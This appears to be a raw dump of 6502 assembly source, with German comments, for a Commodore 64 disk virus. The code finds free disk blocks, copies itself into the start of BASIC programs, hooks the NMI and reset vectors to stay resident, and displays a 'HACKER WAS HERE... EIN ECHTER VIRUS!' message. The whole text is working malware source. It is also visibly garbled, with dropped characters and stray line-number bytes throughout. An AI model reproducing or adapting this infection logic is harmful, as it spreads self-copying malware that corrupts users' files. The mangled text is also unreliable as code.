S NACH.7'..SBC COUNT    ;AUSSEN.F'..JMP 
JUMP10.['..JUMP9  ADC TRACK.Q'..JUMP10 S
TA VTRACK..'..BEQ JUMP16   ;SPUR.35 ODER
..'..CMP #36      ;.1 DANN WEITERSUCHEN.
F' .BCS JUMP16..'*.CMP #18      ;DIREC.R
YSPUR..'4.BEQ JUMP16..(>.JSR BSELECT  ;S
UCHE PLATZ.#(H.JSR GARFIELD.1(R.JSR STAL
K.=(\.JSR BHP.^(F.CMP #BLOCKS  ;PLATZ GE
FUNDEN.V(P.BCS JUMP4    ;JA.....(Z.JSR S
UHAL..(..JUMP16 LDX X..(..INX          ;
PRUEFE OB WEITERE.X(..CPX #68      ;SUCH
E .NVOLL..(..BNE JUMP3    ;...JA..)..JMP
 .      ;NEIN,DANN VIRUS .E.))..JUMP4 SB
C #BLOCKS.G)..STA .E     ;PLATZ BELEGEN.
H)J.JSR BHP      ;LESE BAM.TRACK.T)T.STA
 BAM..)..JSR BHP..)..STA BAM.1..)..JSR B
HP..)..STA BAM.2..)..JSR GARFIELD..)..LD
Y #BLOCKS  ;SUCHE .IE SEC.REN..)..LDX #$
FF..)$.JUMP5 PHP..*..INX..*8.CPX #25..*B
.BEQ JUMP6."*L.PLP./*V.R. BAM.2.<*`.R. B
AM.1.G*J.R. BAM.F*T.BCC JUMP5    ;SEC.R 
BELEGT.Q*~.CPY #0.*..BEQ JUMP5. *..TXA 
         ;SEC.R GEFUNDEN..*..STA VSEC.1,
Y..*..DEY.A*..CLC..*..BCC JUMP5    ;WEIT
ER SUCHEN..*D.JUMP6 PLP..+N.LDA #"W"    
 ;SCHALTE AUF.,+X.STA DO       ;SCHREIBM
ODUS.;+..LDA VTRACK.X+..JSR BSELECT  ;BA
M UPDATE.C+..LDA .E.P+..JSR PAPA.|+..LDA
 BAM..+..JSR PAPA..+..LDA BAM.1..+(.JSR 
PAPA..+2.LDA BAM.2.A+<.JSR OUTUNL..+F.LD
X #4       ;SCHREIBE BAM AUF..+P.LDY #0 
      ;DISK..,Z.LDA #1..,D.JSR MEM.Y.9,N
.LDA #$90     ;_______BLOCK.WRITE.Z,X.JS
R OUTUNL   ;KOPIERE START..},..JSR ASK  
    ;BLOCK NACH .ZTEN..,..LDX PUFFER   ;
GEFUNDEN .IEN..,..LDY #0       ;BLOCK..,
 .LD. #2.N,..JSR MEM.Y..,..LDA TRACK    
;LESE BLOCK EIN..,..JSR PAPA..-H.LDA SEC
.R..-R.JSR OUTUNL.%-..LDX JOB.0-..LDY #0
.;-..LDA #1.I-..JSR MEM.Y.J-..LDA #$80  
   ;_______BLOCK...Y-..JSR OUTUNL..-..JS
R ASK..-".LDX PUFFER..-,.LDY #0..-6.LDA 
#2.M-@.JSR MEM.Y   ;SCHREIBE BLOCK AN..-
J.LDA VTRACK   ;NEUE STELLE..-T.JSR PAPA
...^.LDA VSEC.BLOCKS.1...H.JSR OUTUNL.).
R.LDX JOB.4.|.LDY #0.?...LDA #1.M...JSR 
MEM.Y.R...LDA #$90     ;_______BLOCK.WRI
TE.....JSR OUTUNL.....JSR ASK.....LDX #0
       ;VIRUS AM ANFANG DES.X.B.STX COUN
T    ;PROGRAMMS EINBAUEN...L.LDA #.START
.4...V.STA X../..LDA #.START.4../..STA Y
../..LDA #0.%/..STA Z.5/. JUMP8 LDX Z.A/
. LDY ADR.F/. LDA #32      ;32 BYTES IN 
PUFFER../& JSR MEM.Y   ;SCHREIBEN../0 JU
MP7 LDY Z../: LDA (X),Y../D JSR PAPA../N
 INC Z../X LDA Z.N/B . #%11111../L BNE J
UMP7../V JSR GARFIELD..0. LDA Z        ;
KOMP.TER BLOCK IN.80. BNE JUMP8    ;PUFF
ER GESCHRIEBEN...F0. LDY COUNT.U0. BNE J
UMP17.{0. LDX #2       ;K.RIGIERE STARTA
DR...0. LDY ADR      ;IM ERSTEN BLOCK..0
. LDA #2..0F JSR MEM.Y.E0P LDA BASICS.R0
Z JSR PAPA..0. LDA BASICS.1..0. JSR OUTU
NL..1. JUMP17 LDX #0..1.!LDY ADR.,1.!LDA
 #2       ;LINKBYTES.H1.!JSR MEM.Y   ;K.
RIGIEREN.W1 !LDA VTRACK.D1*!JSR PAPA.R14
!LDY COUNT..1>!LDA VSEC,Y..1H!JSR OUTUNL
..1R!LDX PUFFER   ;BLOCK AUF DISK.M1\!LD
Y #0       ;SCHREIBEN.X1F!LDA #2..1P!JSR
 MEM.Y..1Z!LDY COUNT..2.!BNE JUMP11..2.!
LDA TRACK..2.!.BYTE $2C.52.!JUMP11 LDA V
TRACK.B2.!JSR PAPA.P2.!LDY COUNT.`2.!LDA
 SEC.R,Y.O2J!JSR OUTUNL.{2T!LDX JOB..2.!
LDY #0..2.!LDA #1..2.!JSR MEM.Y.D2.!LDA 
#$90     ;_______BLOCK.WRITE.S2."JSR OUT
UNL..2."JSR ASK..2."CLC..2$"LDA X..2."AD
C #254..38"STA X..3B"LDA Y..3L"ADC #0.'3
V"STA Y.L3`"INC COUNT    ;FALLS NOCH BLO
ECKE.S3J"LDX COUNT    ;ZU SCHREIBEN, WEI
TER..3T"CPX #BLOCKS..3~"BEQ BYE      ;HI
PPIE!FERTIG SAN MA..3."JMP JUMP8.Z3(#;WI
RD EIN VIRUS .IGELASSEN.....3*&BYE LDA #
$60..34&STA SEK..4>&JSR FJS..4H&LDA #$6F
..4R&STA SEK.'4\&JSR S..44F&LDA #"I".C4P
&JSR OUTUNL.P4Z&LDX #$00.P4.&JUMP14 PLA 
  ;SPEICHERSTELC..4.&STA MEM,X    ;RESTA
URIEREN..4.&INX..4.&CPX #14.BLOCKS..4.&B
NE JUMP14.F4.&LDX #$00.U4.&JUMP15 PLA..4
J&STA PAR,X..4T&INX..4.&CPX #$06..5.&BNE
 JUMP15..5.&JSR CALL..5.&PLA.+5.&STA STA
TUS.N5.'RTS          ;VIRUSPROGRAMM .E.J
5.';.....IECOUT.UN.........~5.'OUTUNL JS
R PAPA..5$'JMP GARFIELD..5.*;......BSELE
CT.............P5.+BSELECT ASL ;SELEKTIE
RT EINEN..5.+ASL         ;TRACK DER BAM.
.5.+TAX..6 +LDY #7..6*+LDA #4..64+JMP ME
M.Y.:6..;......STALK...............L6..S
TALK LDA DEV.[6..JSR SASKIA..6..LDA SEK 
    ;PRIMAER.&SEKUNDAER...6./JMP CHRISTI
NE;ADRESSE TALK..6H2;......S............
....J6R2S. LDA DEV.W6.2JSR NEMO..6.2LDA 
SEK     ;PRIMAER.&SEKUNDAER...7.2JMP THO
MAS  ;ADRESSE .EN.87.6;......ASK........
.........X7.6ASK LDA #"R";UEBERPRUEFE OB
.U7D6STA DO      ;JOB AN DISK..7N6A1 LDX
 #0   ;SCH. AUSGEFU.HRT..7X6A2 NOP      
;IST..7.6NOP..7.6NOP.D7.6NOP.L7.7INX.W7.
7BNE A2..7.7LDX JOB..7.7LDY #0..7(7LDA #
1..827JSR MEM.Y..8<7JSR GARFIELD.&8F7JSR
 STALK.28P7JSR BHP.:8Z7PHA.H8D7JSR SUHAL
.P8N7PLA.[8X7. #$80.8.7BNE A1      ;NEI
N, DANN NOCHMAL..8.7LDA #"W"..8.7STA DO.
.8 7RTS..8.:;......MEM.Y.AKKU.........S8
.:MEM.Y PHA  ;"M-"...8.:TYA         ;SPE
ICHERSTELLE DO...9.:PHA         ;X...9.:
TXA         ;Y..29J:PHA         ;A.O9T:J
SR S.   ;AN FLOPPY S.EN.\9.:LDA #"M".I9.
:JSR PAPA.V9.:LD. #"-"..9.:JSR PAPA..9.;
LDA DO..9.;JSR PAPA..9.;PLA..9$;JSR PAPA
..9.;PLA.E98;JSR PAPA.M9B;PLA.Z9L;JMP PA
PA..9.>;....IECLINK................:.>;I
ECBUS.ROUTINEN UEBER LINK.):.>;AUSFUEHRE
N.M:.>BLACKBIRD JSR MAKE : JSR SETPAR.U:
.>RTS.X:.>HAC.OSH JSR MAKE : JSR SETNAME
..:.>RTS..:.>HANS      JSR MAKE : JSR IE
C...:.>RTS.L:F>THOMAS    JSR MAKE : JSR 
SEK..T:P>RTS..:Z>CHRISTINE JSR MAKE : JS
R SEKTALK..;.>RTS. ;.>NEMO      JSR MAKE
 : JSR ..(;.>RTS.J;.?SASKIA    JSR MAKE 
: JSR TALK.R;.?RTS.S;.?GARFIELD  JSR MAK
E : JSR UN..{; ?RTS..;*?SUHAL     JSR MA
KE : JSR UNTALK..;4?RTS.K;>?PAPA      JS
R MAKE : JSR IECOUT.S;H?RTS..;R?BHP     
  JSR MAKE : JSR IEC...;\?RTS..<F?FJS   
    JSR MAKE : JSR  .$<P?RTS.A< N;..BETR
IEBS.TEM.AUFRUF...D<*NMAKE PHP    ;PROZE
SS..REGISTER.|<4NPHA         ;RETTEN..<>
NTXA..<HNPHA..<RNTYA..<\NPHA..<FNTSX    
     ;RUECKKEHR.ADRESSE.Z<PNTXA         
;BERECHNEN..<ZNCLC..<.NA.C #5..<.NTAX..=
.NLDA $0100,X ;..=.NSTA MEM1    ;MERKEN.
1=.NCLC         ;.Q=.NADC #3      ;UND K
.RIGIEREN.A=.NSTA $0100,X..=JNPHP       
  ;DAS GLEICHE MIT..=TNINX         ;DEM 
LO.BYTE..=.NPLP..=.NLDA $0100,X.D=.NSTA 
MEM2.O=.NADC #0..=.OSTA $0100,X..=.OLDY 
#3..=.OM1 LDA (MEM1),Y.!>$OSTA LINK.1,Y;
PROGRAMMTEIL NACH.@>.ODEY         ;LINK 
KOPIEREN.K>8OBNE M1.P>BOPLA         ;REG
ISTER REPARIEREN.X>LOTAY..>VOPLA..>`OTAX
..>JOPLA..>TOPLP..>~OJMP LINK.4  ;UND AU
SFUEHREN.V>0U;.......TEM................
>:U.TEM LDA $FFFA..?DUPHA         ;NMI.V
EK.R RETTE...?NULDA $FFFB   ;./?XUPHA   
      ;.N?BULDA #..;UND AUF RTI SETZE..`
?LUSTA $FFFA   ;.L?VULDA #...Z?.USTA $FF
FB..?.ULDA MEM1    ;..?.UPHA         ;..
?.ULDA MEM2    ;.S?.UPHA         ;DIVERS
E SPEICHER...?.ULDA MEM3    ;STELC RETTE
N.....@.UPHA         ;..@FULDA MEM4    ;
.*@PUPHA         ;.K@ZUTXA         ;X.Y 
V.UEBERGEH..C@.UPHA         ;RETTEN.K@.U
TYA.S@.UPHA..@.UJSR REINST  ;ZEIGER UEBE
RPRUFEN..@.UPLA         ;X.Y WIEDER HOC.
.@.UTAY.G@.UPLA.O@.UTAX..@.VLDA IRQP.1..
@.VPHA..@.VLDA IRQP..@.VPHA..A.VLDA #.IR
QE  ;.ERRUPTS.3A.VSTA IRQP    ;ENTSCHAER
FEN.BA VLDA #.IRQE.QA*VSTA IRQP.1.`A4VLD
A #.NMIE.MA>VSTA NMIP.|AHVLDA #.NMIE..AR
VSTA NMIP.1..ASVTXA..ATVPHA         ;X.Y
 RETTEN.AAUVTYA         ;.SAVVPHA       
  ;..A\VTSX         ;PARAMETER AUFG.D..B
FVTXA         ;DES STACKS BERECHNEN.-BPV
CLC         ;.?BZVADC #16     ;.GB.VTAX.
OB.VCLC.NB.VLDA $0100,X ;LO.ZEIGER HOC..
B.VADC #1      ;RUECKSP.G NEU..B.VSTA ME
M1    ;BERECHNEN UND.GB.VSTA $0100,X ;SP
EICHERN.YB.VPHP         ;..BJVINX       
  ;..CTVPLP         ;DAS GLEICHE MIT HI.
!C.VLDA $0100,X ;.3C.VADC #0      ;.EC.V
STA MEM2    ;.WC.VSTA $0100,X ;.BC.WLDY 
#0.SC.WLDA (MEM1),Y..C.WCMP #128..C$WBEQ
 ....C.WCMP #64..C8WBEQ ....CBWCMP #16..
CLWBEQ .NMI.KCTW.. JSR MAKE..C~WLDA NMIT
AH  ;NMI.TIMER ABFRAGE..C.WBEQ ..  ;..D.
WJSR MAKE    ;. D.WLDA NMITBH  ;.+D.WBEQ
 ...ED.WPLA         ;REGISTER.CD.WTAY   
      ;RESTAURIEREN.KD.WPLA.SD.WTAX..D.W
PLA         ;.ERUPTS WIEDER..D.WSTA IRQP
    ;RE.GANISIERN..DDWPLA.HDNWSTA IRQP.1
.WDXWLDA #.NMI1..D.WSTA NMIP..D.WLDA #.N
MI1..E.WSTA NMIP.1. E(X.. PLA ;DIVERSE S
PEICHER..7E2XSTA MEM4    ;STELC.SE<XPLA 
        ;REPARIEREN.`EFXSTA MEM3.HEPXPLA
.UEZXSTA MEM2.}EDXPLA..ENXSTA MEM1..EXXP
LA         ;NMIVEK.R REPARIEREN..E.XSTA 
$FFFB.EE.XPLA.SE.XSTA $FFFA..E XRTS..E.Y
;....VIRUS...ROUTINE...L..F"Y..  LDY #1.
.F,YLD. (BASICS),Y.<F6YBEQ ..  ;UEBERPRU
EFE OB VIRUS.^F@YLDY #31     ;SCH. IM SP
EICHER.SFJYLDX #26     ;IST..FTYL1 LDA (
BASICS),Y..F^YCMP VIRUS,X..FHYBNE .. ;NE
IN, DANN VERSEUCHE.BFRYDEY.JF|YDEX.UF.YB
NE L1..F.YPLA         ;.ADRESSE HOC..G.Y
STA .E.1..G.YPLA..G.YSTA .E.9G.YJSR MOVE
    ;PROGRAMM IM SPEICHER.SGBYLDA .E   ;
VERSCHIEBEN.[GLYPHA.RGVYLDA .E.1 ;.ADRES
SE..G.YPHA         ;K.RIGIEREN..G.YJMP .
...G.};....VIRUS...ROUTINE.....RG.}.. LD
A DEV ;UEBERPRUEFE..G.}CMP #$08        ;
OB DEVICE FLOPPY..H.}BCC ..      ;IST..H
(}JSR DOIT.;H2}JMP ..  ;PROGRAMM VERSEUC
HEN.[H..;....VIRUS.NMI.ROUTINE......MH..
.NMI JSR MAKE..H..JSR .   ;..TASTE GEDRU
ECKT. H..BNE .. ;...NEIN..H..JSR MAKE.LH
..JSR $FD15  ;VEK.REN SETZEN..H$.JSR REI
NST ;VIRUS IN.T..I..LDX #$01   ;STACK "P
UTZEN"..I8.TXS..IB.JSR MAKE.>IL.JMP $FE6
9  ;S.DARTNMI V.SETZEN.^IP.;..VIRUS.RESE
T.ROUTINE......TIZ..RESET JSR RELINK.I.
.LDX #0..I..JSR MAKE..I..STX $D016   ;.G
INAL.N "RESET"..I..JSR MAKE.II..JSR $FDA
3.VI..LDA #$00..I .TAY..I*..R STA $0002,
Y..J4.STA $0200,Y ;PAGE 0,2,3 LOESCHEN.&
J>.STA $0300,Y..JH.INY.9JR.BNE .R.HJ\.JS
R RELINK.UJF.JSR MAKE.TJP.JSR $FD5F   ;S
PEICHER INIT..JZ.JSR MAKE..J..JSR $FD15 
  ;VEK.REN INIT..J..JSR REINST..J..JSR M
AKE..J..JMP $FCFB   ;RESET N.MAL WEITER.
.J@.;...VIRUS LINK PROGRAMM......KJ.EXTE
RN NOP : NOP : NOP.@KT.RTS         ;EXTE
REN BEFEHL AUSF.._K^.JSR ROMRAM  ;S.DART
 K.FIG..LKH.JSR LINK.TKR.SEI..K|.IROMRAM
 PHP ;REGISTER RETT.N..K..PHA         ;.
JK..LDA 1       ;OS UND IO EIN.AUS.TK..E
. #7..K..IQUIT STA 1..K..PLA..K..PLP..KB
.RTS..LL.I.  JSR ..)LV.JSR .IT        : 
.BYTE 128.1L..RTS.?L..I.  JSR ..^L..JSR 
.IT        : .BYTE  64.FL..RTS..L..IBWS1
  JSR .IT : .BYTE  32..L..IBWS2  JMP BWS
1..L..INMI1  JSR .IT : .BYTE  16.LL&.INM
I2  JMP NMI1.YL4.I.IT PHP..L>.PHA..LH.CH
ECK LDA NMITAH..MR.. NMITBH  ;NMI.TIMER 
ABFRAGEN.&M\.BEQ CHECK..MF.SEI.8MP.LDA 1
.@MZ.PHA.KM..LDA #0.UM..STA 1.BM..JSR .T
EM.OM..I.IT PLA.|M..JMP QUIT..M..INAME .
F "*" ; FICAME..M( IRESET LDA #$2F  : ST
A $00.MM2 LDA #$00  : STA $01..M< JMP .R
ESET..MG.;.............................N
H.. RTI  ;NMI.RUECKSP.G.8NACROMRAM . IRO
MRAM.EXTERN.LINK.UNBC.IT  . I.IT .EXTERN
.LINK.RNCC.IT  . I.IT .EXTERN.LINK..NDCR
ESET  . IRESET .EXTERN.LINK..NECBWS2   .
 IBWS2  .EXTERN.LINK.UNFCBWS1   . IBWS1 
 .EXTERN.LINK..NGCNMI2   . INMI2  .EXTER
N.LINK..OHCNMI1   . INMI1  .EXTERN.LINK.
2OIC.   . I.  .EXTERN.LINK.MOJC.   . I. 
 .EXTERN.LINK.NOKCNAME   . INAME  .EXTER
N.LINK..OLCQUIT   . IQUIT  .EXTERN.LINK.
.OMCRESETV .BYTE .RESET,.RESET..ONC.BYTE
 $5E,$FE..OOC.BYTE $C3,$C2,$CD,$38,$30..
OPC;......VIRUS.MELDET.SICH...C..PQCCALL
 LDA $9D ;DIREKTMODUS.(PRCBPL C4.HPSCLDA
 $A2      ;LOW.BYTE ZEIT.SPTCBPL C4.`PUC
JSR MAKE.~PVCLDA $D012    ;RASTERZEILE..
PWCBPL C4..PNCLDY #$00..PXCC3 LDA TEXT,Y
..P.CBEQ C1..P.CJSR MAKE..P.CJSR CHAROUT
  ;ZEICHENAUSGABE..P.CLDX #0..P.CC2 JSR 
MAKE..Q.CINC $D020    ;RAHMENFARBE."Q.CI
NX.-QHCBNE C2.5QRCINY.@Q.CJMP C3.SQ.CC1 
LDX COUNTER.EQ.CLDA COUNTER.1.RQ.CJSR MA
KE..Q.CJSR $BDCD    ;NUMMER AUSGEBEN..Q.
CLDA #13      ;CR..Q.DJSR MAKE.QQ.DJSR C
HAROUT  ;AUSGEBEN..Q.DC4 INC COUNTER..Q.
DBNE C6..R.DINC COUNTER.1..R.DC6 RTS..R.
DTEXT .BYTE 13.UR.D.F "DR.DR.STROBE&PAPA
 HACKER WAS HERE!" : .BYTE 13..R"D.F "CO
PROGRAMMER: GARFIELD" : .BYTE 13..R'D.BY
TE 13.GR(D.F "HALLO DICKERCHEN, DIES IST
 EIN ECHTER" : .BYTE 13..R)D.F "VIRUS!" 
: .BYTE 13,13..S,D.F "SERIALNO.:" : .BYT
E 0..S6DCOUNTER .W.D 0.9S.... 254.BLOCKS
.START.2 : .. ..2.IS...BYTE $0,$0...
C64 Preview

> CLICK IMAGE PREVIEW FOR FULL MODAL